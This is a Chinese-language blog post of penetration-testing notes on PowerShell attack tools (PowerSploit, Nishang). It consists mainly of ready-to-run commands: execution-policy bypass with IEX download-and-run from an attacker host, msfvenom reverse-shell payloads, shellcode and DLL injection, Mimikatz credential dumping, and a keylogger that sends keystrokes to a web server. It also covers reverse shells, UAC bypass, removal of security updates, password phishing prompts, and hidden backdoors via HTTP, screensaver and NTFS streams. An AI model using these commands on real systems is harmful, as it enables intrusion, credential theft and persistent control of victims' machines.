0x04 PowerShell 攻击

6.1 PowerShell技术

常用的powershell 攻击工具

powersploit : 常用的后期漏洞利用框架,常用于信息探测、特权提升、凭证窃取、持久化控制等操作。

Nishang: 集成了框架、脚本和各种payload,包含下载和执行、键盘记录、DNS、延时命令等脚本。

Empire:基于powershell 的远程控制木马,可以从凭证数据库中导出和跟踪凭证信息

powercat

6.1.2 基本概念

1、PS1文件,就是一个简单的文本文件,扩展名.PS1,每个命令显示为独立的一行。

2、执行策略:为防恶意脚本,Powershell 有个执行策略,默认为受限。在ps脚本无法执行时,可以用 cmdlet命令确定当前的执行策略。

​ Get-ExecutionPolicy Restricted: 脚本不能运行(默认)

​ RemoteSigned:本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书签名的除外)

AllSigned:仅当脚本由受信任的发布者签名时才能运行

Unrestricted:允许所有script运行

也可以用cmdlet 设置执行策略。

Set-ExecutionPolicy <policy name>

3、运行脚本

相对路径和绝对路径

4、管道 将一个命令的输出作为另一个命令的输入,用| 连接。

6.1.3 常用命令

1、基本知识

在powershell 下,类似“cmd命令”叫做 “ cmdlet ”,都采用“动词-名词”的形式,如New-Item,动词一般为 Add New Get Remove Set等,不区分大小写。

新建目录:New-Item 相当于mkdir

新建文件:New-Item 相当于 touch

删除目录:Remove-Item 相当于rm

显示文本内容:Get-Content 相当于cat

设置文本内容:Set-Content 是向文件中写入内容,会覆盖之前的内容

追加内容:Add-Content 追加

清除内容:Clear-Content

2、常用命令

如果要运行Powershell 脚本程序,必须用管理员权限将restricted 策略改成 unrestricted,所以在渗透时要绕过策略

  1. 绕过本地权限执行

    上传xxxx.ps1 至目标服务器,在CMD环境下,在目标环境本地执行该脚本

    PowerShell.exe -ExecutionPolicy Bypass -File xxxx.ps1

  2. 本地隐藏绕过权限执行脚本

    PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -Nonlnteractive -NoProfile xxxx.ps1

  3. 用IEX下载远程PS1脚本绕过权限执行

    PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NonIIEX(New-ObjectNet.WebClient).DownloadString("xxxx.ps1");[Parameters]

ExecutionPolicy Bypass : 绕过执行安全策略,这个参数可以绕过任意一个安全保护规则,基本都要使用

WindowStyle Hidden : 隐藏窗口

NoLogo :启动不显示版权标志的PowerShell

NonInteractive(-NonI):非交互模式,PowerShell 不为用户提供交互的提示

NoProfile(-NoP):PowerShell控制台不加载当前用户的配置文件

Noexit: 执行后不退出Shell ,在使用键盘记录等脚本时很重要

6.2 PowerSploit

6.2.1 安装

kali 自带,没有的话用git 安装,但是现在好像已经不维护了,介绍模块:

AntivirusBypass : 发现杀软的查杀特征

CodeExecution :在目标主机执行代码

Exfiltration :目标主机上的信息搜集工具

Mayhem : 蓝屏等破坏性脚本

Persistenece : 后门脚本(持久控制)

Recon : 以目标主机为跳板进行内网信息侦察

ScriptModification : 在目标主机上创建或修改脚本

6.2.2 实战

  1. Invoke-Shellcode : CodeExecution 模块下的Invoke-Shellcode 脚本常用于将shellcode 插入指定的进程ID或本地PowerShell 中

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    先使用msfvenom 命令生成一个powershell 脚本木马
    msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.118 LPORT=4444 -f powershell -o /var/www/html/test
    接着在目标机Powershell 下输入以下命令下载该脚本
    IEX(New-ObjectNet.WebClient).DownloadString("http://192.168.1.118/PowerSploit/CodeExecution/Invoke-Shellcode.ps1")
    接着输入以下命令下载木马
    IEX(New-Object Net.WebClient).DownloadString("http://192.168.1.118/test")
    下载木马
    Invoke-Shellcode -Shellcode ($buf) -Force
    运行木马,-Force 是不用提示,直接执行

​ 指定进程注入 shellcode 反弹 meterpreter shell

1
2
3
4
5
6
7
8
9
10
11
12
同样先在目标机Powershell 下输入以下命令
IEX(New-Object Net.WebClient).DownloadString("http://192.168.76.128/Invoke-Shellcode.ps1")
IEX(New-Object Net.WebClient).DownloadString("http://192.168.76.128/test")

接着输入Get-Process 命令或者ps 命令查看当前进程
然后输入以下命令创建一个新的进程,启动一个记事本,设置为隐藏,再次查看进程,多了一个notepad 的进程。
Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden

接着输入以下命令,使用Invoke-Shellcode脚本进行进程注入
Invoke-Shellcode -ProcessID xxxx -Shellcode($buf) -Force

MSF 监听端口反弹成功
  1. Invoke-DllInjection

    Dll 代码注入脚本

    1
    2
    3
    4
    5
    6
    7
    8
    先下载code Execution 模块下的另一个脚本Invoke-DllInjection
    IEX(New-Object Net.WebClient).DownloadString("http://192.168.76.128/Invoke-DllInjection.ps1")
    然后使用以下命令在kali 中生成一个Dll注入脚本
    msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.76.128 lport=4444 -f dll -o /var/www/html/test.dll
    使用powershell 下载木马
    然后使用以下命令进行注入
    Invoke-DllInjection -ProcessID xxxx -Dll C:/test.dll
    msf 监听 reverse_tcp 反弹
  2. Invoke-Portscan

    Invoke-Portscan 是Recon 模块下的一个脚本,主要用于端口扫描

    Invoke-Portscan -Hosts 192.168.1.2,192.168.2.5 -Ports “80, 88, 22”

  3. Invoke-Mimikatz

​ Invoke-Mimikatz 是 Exfiltration模块下的一个脚本,先下载脚本

Invoke-Mimikatz -DumpCreds 进入mimikatz界面,关于mimikatz 的用法会单独写一篇

  1. Get-Keystrokes

    是Exfiltration 模块下的一个脚本,用于键盘记录,下载了之后使用 Get-Keystorkes -LogPath C:\test1.txt

6.2.3 PowerUp 攻击模块讲解

PowerUp 是Privesc 模块下的一个脚本,是拥有众多来寻找目标主机Windows 服务漏洞进行提权的实用脚本

通常,Windows 下可以通过内核漏洞来提升权限,当无法通过内核漏洞提权时,可以利用脆弱的Windows服务提权,或者利用常见的系统服务,通过其继承的系统来完成提权。

可以使用get-help [cmdlet] -full 查看帮助

输入Invoke-AllChecks 会执行模块,这个模块会执行PowerUp下所有的脚本

输入Find-PathDLLHikack 该模块用于检查当前%PATH%的哪些目录是用户可以写入的

Get-ApplicationHost | Format-Table -Autosize 列表显示 利用系统上的applicationHost.config 文件恢复加密过的应用池和虚拟目录的密码

Get-RegistryAlwaysInstallElevated 用于检查AlwaysInstallElevated注册表项是否被设置,如果已被设置,意味者MSI文件是以SYSTEM权限运行

Get-RegistryAutoLogon 用于检测Winlogin 注册表的AutoAdminLogon项有没有被设置,可查询默认的用户名和密码。

由于Empire 作者不在维护,就不记录这个工具了。

6.3 Nishang

6.3.1 简介

Nishang 是一款针对Powershell的渗透工具,要在powershell 3.0以上的环境才可以正常使用,win7 自带的是powershell 2.0

在github中下载了之后,使用 Get-Command -Moudle nishang 来导入模块。使用Get-Information 查看各个模块的详细信息。

6.3.2 攻击实战

  1. Check-VM:检测当前机器是否属于一台已知的虚拟机,一些主流的虚拟机。

  2. Invoke-CredentialsPhish:欺骗用户输入密码,不输入关闭不了,只能强制关闭进程。

  3. Copy-VSS:利用Volume Shadow Copy 服务复制sam文件,如果这个脚本运行在DC机上,ntds.dit和SYSTEM hive 也能被拷贝出来。

    Copy-VSS -DestinationDir C:temp

  4. FireBuster FireListener 扫描器:用于对内网进行扫描,打开本地监听,然后远程传送数据,把包发给FireListener

    1
    2
    3
    4
    首先在本机输入以下命令
    FireListener 130-150
    然后在目标机上输入以下命令
    FireBuster 192.168.1.1 130-150 -Verbose
  5. Keylogger 键盘记录

    Get-Help .\Keylogger.ps1 -full 查看帮助文件

    1
    2
    3
    4
    5
    6
    7
    \keylogger.ps1   使用这个方法运行,记录会被保存在当前用户Temp目录下的key文件中
    \Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqPxxxxxxx -MagicString stopthis checkURL会检测出网站中是否包含 -MagicString,如果有就停止记录。
    \Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=xxxxxxx -MagicString stopthis -exfil -ExfilOption WebServer -URL http://192.168.1.1/data/catch.php 将记录指定发送给一个可以记录Post请求的Web服务器
    \Keylogger.ps1 -persist 持久化记录,重启后依然记录。

    对于记录,输入Nishang Utility的Parse_Keys 来解析,parsed.txt里就会出现解析后的按键记录。
    Parse_Keys ./key.log ./parsed.txt
  6. Get-PassHashes:这个脚本在administrator的权限下可以Dump出密码哈希值,不需要SYSTEM权限就可以DUMP.

  7. 获取用户的密码提示信息:这个脚本可以从Windows 获取用户密码的提示信息,需要Administrator的权限来读取san hive,可以根据提示信息生成密码字典,能大大提高爆破的成功率 Get-PassHints

6.3.3 Power Shell 隐藏通信隧道

  1. 基于TCP协议的PowerShell 交互式Shell

    Invoke-PowerShellTcp 是基于TCP协议的PowerShell 正向连接或反向连接Shell,具体参数:

    IPAddress xxx.xxx.xxx.xxx 连接的IP地址

    Port xxxx 指定端口 -Bind 选项时表示需要监听的端口

    Reverse 反向连接

    使用NC监听本地端口 nc -lvp 3333

    然后在目标机Power shell下输入以下命令,反弹Shell 到192.168.76.128 的端口3333。

    Invoke-PowerShellTcp -Reverse -IPAddress 192.168.76.128 -Port 3333

    Bind 正向连接

    在目标机Powershell 下执行以下脚本命令

    Invoke-PowerShellTcp -Bind -Port 3333

    在NC 中执行以下命令 nc -nv 192.168.76.128 3333

  2. 基于UDP协议的PowerShell 交互式 Shell

    Invoke-PowerShellUdp是基于UDP协议的Powershell 正向连接或反向连接Shell。

    正向连接:nc -nvu 192.168.76.128 3333

    反向连接:nc -lup 3333

  3. 基于HTTP和HTTPS协议的Power shell交互式Shell

    Invoke-PoshRatHttp和Invoke-PoshRatHttps 是基于HTTP协议和HTTPS协议的powershell 反向连接shell。除了基于TCP和UDP协议的shell,Nishang还支持基于HTTP 和HTTPS协议的shell

    HTTP: Invoke-PoshRatHttp -IPAddress 192.168.1.1 333

    HTTPS: Invoke-PoshRatHttps -IPAddress 192.168.1.1 333

6.4.4 WebShell 后门

位于nishang\Antak-WebShell 目录,是一个ASPX的大马,使用PowerShell 的命令,这个大马可以编辑执行脚本、上传、下载文件。

6.4.5 权限提升

  1. 下载执行

Download_Execute是Nishang 中的下载执行脚本,常用于下载文本文件,然后转换为可执行文件。

使用Nishang 中的exetotext.ps1 脚本将木马程序转为文本文件msf.txt ExetoText ./msf.exe ./msf.txt

然后调用Download_Execute脚本下载并执行文本文件。Download_Execute http://192.168.76.128/msf.txt

  1. Bypass UAC

User Account Control(用户账户控制)是微软为提高系统安全而在windows vista中引入的新技术,要求用户在执行可能会影响计算机运行或其他用户设置的操作之前,要求权限或管理员密码。在未经许可的情况下,UAC可以防止恶意软件和间谍软件在计算机上进行安装或对计算机进行更改。

在windows Vista 以及更高的版本中,微软引入安全策略,分为中高低,高等级进程有管理员权限,中等级进程有基本用户权限,低级别进程权限有各种限制。

UAC 需要授权的动作包括:

1
2
3
4
5
6
7
8
9
10
配置Windows Update
增加或删除用户账户
改变用户的账户类型
改变UAC设置
安装ActiveX
安装或卸载程序
安装设备驱动程序
设置家长控制
将文件移动到Program Files或Windows目录
查看其他用户的文件夹

UAC有4中设置要求

始终通知:最严格的设置,任何时候,当程序使用高级别权限时,都会提示本地用户。

仅在程序试图更改我的计算机时通知我:UAC默认策略,本地程序使用高权限不通知,第三方程序要求使用高权限时会提示用户。

和上面一样,但是不降低桌面亮度

从不提示:当用户为系统管理员,所有程序都会以最高权限运行。

Invoke-PsUACme模块使用了来自UACME项目的DLL来绕过UAC

1
2
3
4
5
Invoke-PsUACme -Verbose   使用Sysprep方法并执行默认的Payload
Invoke-PsUACme -method oobe -Verbose 使用oobe方法并执行默认的Payload
Invoke-PsUACme -method oobe -Payload "powershell -Windowstyle hidden -e Your EncodePayload" 使用-payload 参数可以自行指定执行的Payload

还可以使用-CustomDll64(64位)或-CustomDLL32(32位)
  1. 删除补丁

这个脚本可以帮助我们移除系统所有的更新或所有安全更新,以及指定编号更新。

1
2
3
Remove-Update All      移除目标机器上的所有更新
Remove-Update Security 移除目标机器上的所有与安全相关的更新
Remove-Update KB2761226 移除指定编号的更新
  1. 其他功能

    4.1 端口扫描(Invoke-PortScan)

    使用Get-Help Invoke-PortScan -full 查看帮助信息。startAddress 扫描范围开始的地址

    EndAddress 扫描范围结束的地址

    ScanPort 进行端口扫描

    Port 指定端口

    TimeOut 设置超时时间

    4.2 爆破破解(Invoke-BruteForce)

    是专注于暴力破解的脚本,用于对SQL Server、域控制器、Web及FTP弱口令爆破。

    ComputerName 对于服务的计算机名

    User List 用户名字典

    PasswordList 密码字典

    Service服务(默认为SQL)

    StopOnSuccess 匹配一个后停止

    Delay 延迟时间

    4.3 嗅探

    内网嗅探简单动静大,实在没办法时可以试试

    Invoke-Interceptor -ProxyServer 192.168.76.128 -ProxyPort 9999

    4.4 屏幕窃取

    Show-TargetScreen 脚本使用MJPEG传输目标机远程桌面的实时画面,在本机可以使用NC或者PowerCat进行监听,在支持MJPEG的浏览器中也可访问,查看实时画面。

    目标机: Show-TargetScreen -Reverse -IPAddress 192.168.76.128 -Port 5555

    本机: netcat -nlvp 5555 | netcat -nlvp 5555

    正向连接

    目标机:Show-TargetScreen -Bind -Port 5555

    本机:netcat nv 192.168.76.128 5555 | netcat -lnvp 5555

    4.5 生成木马

    各个脚本的使用方法基本相同,以生成受感染的Word为例

    1
    2
    3
    4
    5
    6
    7
    8
    Payload    后面直接加Payload,需要注意引号的闭合
    PayloadURL 传入远程的Payload进行生成
    PayloadScript 指定本地的脚本进行生成
    Arguments 之后要执行的函数
    OutputFile 输出的文件名
    WordFileDir 输出的目录地址
    Recurse 在WordFileDir 中递归寻找word文件
    RemoveDocx 创建完成后删除原始文件

    4.6 后门

    (1)HTTP-Backdoor

    可以帮助我们在目标机器上下载和执行PowerShell脚本,接受来自第三方网站的指令,然后在内存中执行。

    HTTP-Backdoor -CheckURL http://xxxxx.com/raw.php?i=xxxxx -PayloadURL http://xxxxxx.com/raw.php?i=xxxxxx -MagicString start123 -StopString stopthis

    CheckURL 给出一个URL地址,如果存在,MagicString中的值就执行Payload来下载、运行我们的脚本

    PayloadURL 给出需要下载的PowerShell 脚本的地址

    Arguments 指定要执行的函数

    StopString 判断是否存在CheckURL返回的字符串,如果存在则停止执行

    (2)Add-ScrnSaveBackdoor

    利用屏保来留一个隐藏的后门,执行方式如下

    Add-ScrnSaveBackdoor -Payload “powershell.exe -ExecutionPolicy Bypass -noprofile -noexit -c Get-Process” 使用这条语句可以执行我们生成的Payload

    Add-ScrnSaveBackdoor -PayloadURL http://192.168.13.11/Powerpreter.psm1 -Arguments HTTP-Backdoor http://xxxxxx.com/raw.php?i=xxxxx start123 stopthis

    Add-ScrnSaveBackdoor -PayloadURL http://xxx.xx.xx.xx/code_exec.ps1

    也可以使用msfvenom先生成一个PowerShell,然后利用以下命令返回一个Meterpreter

    msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.76.128 -f powershell

    (3) Invoke-ADSBackdoor

    这个脚本使用NTFS数据流留下一个永久性后门,这个脚本可以向ADS中注入代码并且以普通用户的权限运行,输入以下命令执行脚本。

    Invoke-ADSBackdoor -PayloadURL http://192.168.12.110/test.ps1

    执行该脚本后, 使用 dir /a /r 才能看到被写入的文件

Donate
  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.
  • Copyrights © 2023 Limbus
  • Visitors: | Views:

请我喝杯茶吧~

支付宝
微信